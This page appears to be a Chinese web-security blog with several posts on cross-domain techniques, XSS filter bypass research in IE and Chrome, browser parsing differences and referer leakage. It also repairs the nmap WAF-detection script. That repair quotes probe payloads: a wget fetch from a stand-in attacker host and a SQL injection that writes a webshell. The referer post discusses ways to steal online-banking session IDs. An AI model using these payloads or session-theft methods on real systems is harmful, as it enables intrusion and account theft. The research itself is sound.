https://github.com/colorhook/crossdomain，源码。
还有一群程序员在讨论这些：http://www.iteye.com/topic/897253，我忘记是knownsec谁或者其他人分享我的了。总结还不错。还有一些，比如html5里牛逼的websocket技术，直接跨域，持久连接，在客户端层面html5的postMessage已经很帅了。这些本是为了满足程序员欲望的hacking，也满足了我们更邪恶的hacking。。
如果要说还有一些跨域的，那就是各位牛手里的0day了。
http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
测试了下有个bug会引起执行失败：
将
“?p4yl04d=<img src=”x” alt=”” />”, “?p4yl04d=wget http://ev1l.com/xpl01t.txt”
“?p4yl04d=UNION SELECT ”,2,3 INTO OUTFILE ‘/var/www/w3bsh3ll.php’ –“}
改为
“?p4yl04d=<img src=”x” alt=”” />”, “?p4yl04d=wget http://ev1l.com/xpl01t.txt”,
“?p4yl04d=UNION SELECT ”,2,3 INTO OUTFILE ‘/var/www/w3bsh3ll.php’ –“}
少一个逗号- -。
效果出来了，原理很简单，部署WAF的网站，发送一些网站本身不包含的一些参数键值对，网站一般情况下不会出现任何异常，而WAF会报警，响应会出现差异。基于这些差异进行判断就行。不过这个nse脚本判断机制似乎太简单了。
前几天knownsec sogili同学发现ie xss filter一个有意思的bypass，又是一种差异性导致的xss，这次是服务端语言的问题。除了这个，ie还有一个特性，判断origin是否来自本域，是的话，xss filter无效。
昨天研究下chrome xss filter，和ie的机制不太一样，表面看是不做替换，这只是表象而已，实际上chrome会对响应回的HTML做一次规范化，这个过程会判断get请求是否有潜在的xss exp，如果有，输出规范化就会做出各种过滤修改等。只是你直接查看源码是看不到的，可以配合F12，好好看看规范化之后的行为，这个技巧对于我们进行漏洞挖掘非常有利。
除了chrome F12可以看到真实的HTML，其他浏览器呢？通过DOM技巧就行：
javascript:alert(document.getElementsByTagName(‘body’)[0].innerHTML)
这样有什么好处？有利于我们判断浏览器的规范化行为，并进一步找出规范化差异或bugs，也许一个能bypass很多网站过滤器的exp就这样被我们找到，这个过程其实是可以写成一个基于浏览器的fuzzing工具的:P
Continue reading
上次发的一篇文章《都是referer惹的祸》。介绍了referer带来的潜在安全风险。
这次来简单说下如何保护好你的referer，由于我什么时间写长篇大论，就简单几个tips吧。
1、学习下微薄t.qq.com/t.sina.com.cn的网址缩短服务，这个服务等于是真实referer的中间代理，这一代理就将真实的referer隐藏了:)，你也可以不必使用缩短服务，你弄个统一的跳转服务即可，这个可以学习下gmail里点击链接的情况。
2、使用https来保护你的网站服务，此时referer在https层传输，泄露不了。
3、个人用户尤其是管理员们，使用FF的No Referer插件或者类似的插件，在FF的附加组件里搜“referer”。
4、完全封闭的web服务，链接都不可点击，而要复制出去，然后再打开的这种极端情况，那没什么可说的。
大家还有什么其他方式？
update 3/23:
pz提示第1点有问题：a.html->302.php->b.html，refer还是a.html 至少在ff里是这样。
我才发现原来t.qq.com的网址缩短服务是301跳到目标网站的，会带上源referer，t.sina.com.cn是302也一样。我本以为这个中间过程会出现个200状态码，原来不是。
heige提示第2点有问题：https->https是可以抓到referer的，我没测试，pz也说可以。大家相信他们:)
漏洞细节发在xeye team上了：
http://xeyeteam.appspot.com/2011/03/11/browsers-urlencode-difference-to-xss.html。
不过xeyeteam.appspot.com是在墙外，所以要了解细节的同学翻墙吧。这个漏洞公告来自我的上篇文章《浏览器差异带来的XSS风险1》的一些结论。
感谢创宇pan同学给力的这些XSS点。
解析顺序问题
其实哪都一样，不一定是web世界，前后端解释型语言，还有HTTP头部等。都有个解析顺序的问题，从上到下，从左到右，从右到左。一旦顺序能被干扰，就有可能出现安全问题。比如字符集编码问题、content-type问题、标签属性type问题等等。
随便说两句跑题的，下面才是正文:)
一些标准实现差异问题
浏览器们都想独霸世界，有些标准的实现各行其道，导致总是会出现些差异。如果程序员没意识到这些差异，可能就会引入安全隐患。这部分很多。最近发现浏览器们对这个地址的解析差异：
http://www.0x37.com:8989/test.php?c='”`<>!@$%^*(){}[]:;.,?~
Continue reading
referer指请求来源，很多网站通过这个来判断用户从哪个页面/网站过来的，referer是公开的，故不可在referer中存在与身份认证或者其他隐私相关的信息，可很多网站设计之初没考虑到referer的风险性，导致出现安全问题，有些可能现在没问题，但是以后随着业务发展，网站功能增多，安全问题就会出现，到时候想弥补，恐怕就要头疼了。
我列举几个场景：
1、手机浏览器上的Web世界
比如之前我在 xeye team上发的《renren wap身份认证缺陷》，还有刚刚G发给我的这个《新浪微博重大安全漏洞》。
人人网的问题就是referer泄露身份认证信息（url里带的那串加密串），新浪微博这个虽然不是通过referer泄露，不过也同样是采用url传参的形式进行身份认证。另外，新浪微博与腾讯微博等都有个很好设计，就是使用shorturl服务来替换用户输出的链接地址，这样用户访问这些链接，就不会暴露微博域的referer信息，此时这些链接的referer指向shorturl。
2、一些网银
比如工行www.icbc.com.cn的网银，就是将身份认证信息直接嵌入url中，那个所谓的sid号，只要能获取到这个sid号，那么就等于获得了网银的权限，获取sid号有几种方式：
1、客户端木马形式（我没实践，猜测而已，不知道会遇到啥困难，但肯定是可以的）
2、局域网抓包（不过网银走的是ssl，这个很有难度）
3、XSS（我曾经利用工行的登陆口XSS去做这个事，失败，原因是每次访问这个登陆口，网银会话会自动销毁）
4、referer泄露（由于网银不存在用户交互的问题，referer泄露不容易，除非以后有这样的可能性，不过通过劫持网银的其他子域，也能得到这个referer，不多说）
3、Web黑盒渗透
渗透师们知道的，一些黑盒后台，不知道地址，不知道情况，一般第一步会使用HTML探针去得到这个referer地址或者top.location地址等，如果搞得，则继续下一步的渗透。这时的referer泄露的就是后台地址这类隐私信息。
还有一些其他场景。Web服务提供商们，看看自己的Web服务是不是忽视了这个referer，注意了。